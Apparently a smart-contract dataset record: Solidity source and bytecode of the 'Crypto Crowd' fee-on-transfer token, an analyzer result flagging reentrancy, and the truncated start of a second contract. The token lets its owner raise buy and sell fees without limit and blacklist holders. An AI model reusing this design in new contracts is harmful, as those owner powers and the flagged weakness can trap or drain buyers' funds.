}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CryptoCrowd is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Crypto Crowd";//
string private constant _symbol = "CROWD";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 19;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xA76aCe0845138dc256E70102f3951813bFE6CC8b); address payable private _marketingAddress = payable(0x158e9b2322A4542F3FFc97cbEc269aBa3C8af848);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; uint256 public _maxWalletSize = 1000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b257600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600c81526b10dc9e5c1d1bc810dc9bddd960a21b60208201525b60405161023c9190611a24565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a79565b61069c565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b5066038d7ea4c680005b60405190815260200161023c565b3480156102dd57600080fd5b506102656102ec366004611aa5565b6106b3565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023c565b34801561032f57600080fd5b50601554610295906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae6565b61071c565b34801561036f57600080fd5b506101fc61037e366004611b13565b610767565b34801561038f57600080fd5b506101fc6107af565b3480156103a457600080fd5b506102c36103b3366004611ae6565b6107fa565b3480156103c457600080fd5b506101fc61081c565b3480156103d957600080fd5b506101fc6103e8366004611b2e565b610890565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae6565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610295565b34801561045a57600080fd5b506101fc610469366004611b13565b6108bf565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600581526410d493d5d160da1b602082015261022f565b3480156104be57600080fd5b506101fc6104cd366004611b2e565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b47565b610936565b3480156104fe57600080fd5b5061026561050d366004611a79565b610974565b34801561051e57600080fd5b5061026561052d366004611ae6565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b79565b6109d5565b34801561058357600080fd5b506102c3610592366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b2e565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae6565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c36565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c97565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c36565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c36565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c36565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c36565b60005b82811015610a70578160056000868685818110610a2157610a21611c6b565b9050602002016020810190610a369190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c97565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c36565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c36565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb2565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce1565b816001815181106113ce576113ce611c6b565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611733565b6001600160a01b0389166000908152600260205260409020556115c681611792565b6115d084836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164282826114c1565b82101561165d5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149e565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117408385611cb2565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179c61149e565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114c1565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ad565b60006118c08385611d91565b9050826118cd8583611d6f565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112e08161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112e082611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112e08161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc822de242e02f4f76ff67d402acb10718a7cfde87916945cf468a1821d19f0364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,234 |
0xc15c83ca823417a0ccdcf2f37a8fb93f7928b97a
|
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IPOWToken {
function updateIncomeRate() external;
function incomeToken() external view returns(uint256);
function incomeRate() external view returns(uint256);
function startMiningTime() external view returns (uint256);
function mint(address to, uint value) external;
function remainingAmount() external view returns(uint256);
function rewardToken() external view returns(uint256);
function stakingRewardRate() external view returns(uint256);
function lpStakingRewardRate() external view returns(uint256);
function rewardPeriodFinish() external view returns(uint256);
function claimIncome(address to, uint256 amount) external;
function claimReward(address to, uint256 amount) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
